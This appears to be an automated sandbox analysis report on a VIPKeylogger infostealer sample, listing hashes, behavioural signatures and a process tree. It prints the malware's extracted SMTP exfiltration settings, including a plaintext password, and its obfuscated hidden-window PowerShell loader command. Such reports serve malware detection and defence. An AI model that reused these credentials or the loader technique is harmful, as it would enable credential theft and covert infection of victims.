Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
06/11/2024, 03:57
General
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Target
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe
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Size
443KB
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MD5
eb54141b5e25102ff3b58c37705752ce
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SHA1
11a0cddab8eb1d02e56ae7431cd341308ab97d15
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SHA256
f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a
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SHA512
2a18299b04ef8d78b34081412858106471e480d253ce4b83ccda08368833e08fa739443e4b674e2b4e5ef0723b8ea4d0f6abfdb1d8af2711d00b384f53f6deae
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SSDEEP
12288:aTMfFqZXFzJOEL9GiKuULwuxr2sN9cdPV+a:aTMfFqxFkuK1LBig9qPV
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.turktav.com - Port:
587 - Username:
[email protected] - Password:
)d!s~MV@X;!M - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of SetWindowsHookEx 1 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe"C:\Users\Admin\AppData\Local\Temp\f2a43dfd835590b763acc7ee05f4763c0cb047f50d8a1b82ff4c56c528e9f73a.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Filatelistens129=Get-Content -raw 'C:\Users\Admin\AppData\Local\storsejl\Swanson.Dru';$Flelsesbetonedes=$Filatelistens129.SubString(54366,3);.$Flelsesbetonedes($Filatelistens129)2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
53KB
MD565bc8a11ffd407733d75db48b12391db
SHA1b526649bf4e91d4ef50ce1b57d07a701577da863
SHA25674912feae84ab608ad64d41ca97903d73a0da5b250bb333f41bea8fb73acfbd5
SHA512ec2187b6c90956b8c49238154a429b522ecbebba93bbfc788aa08eea13cb28f6632fcb14539911b577bfe19c7a6d9d0575d6fcb6a27eb35d8333172711eb07e3
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Filesize
205KB
MD59e14a70e60334a2faf20cda5e3911554
SHA12c736f40824d346bb52a4956d452965743a0703f
SHA256e7d0db56c30835e9242b5b803f7d558ef24f23d17186b7ca23e4a704016322df
SHA512a105846fe492171b0b05066d491260896bdc2edf9f0a36dc932d995b74f344af2be800c40ba14b5ba5a6080457ffc5757e8131b216829b56a7204ee8d974b85f
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Filesize
18.3MB
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Filesize
18.3MB
-
Filesize
40KB
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Filesize
584KB
-
Filesize
320KB
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Filesize
1.8MB
-
Filesize
624KB
-
Filesize
264KB
-
Filesize
120KB
-
Filesize
168KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
-
Filesize
5.6MB
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Filesize
6.5MB
-
Filesize
200KB
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Filesize
3.3MB
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Filesize
7.7MB
-
Filesize
408KB
-
Filesize
304KB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
144KB
-
Filesize
408KB
-
Filesize
7.7MB
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Filesize
7.7MB
-
Filesize
7.7MB
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Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
88.5MB
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Filesize
7.7MB
-
Filesize
136KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB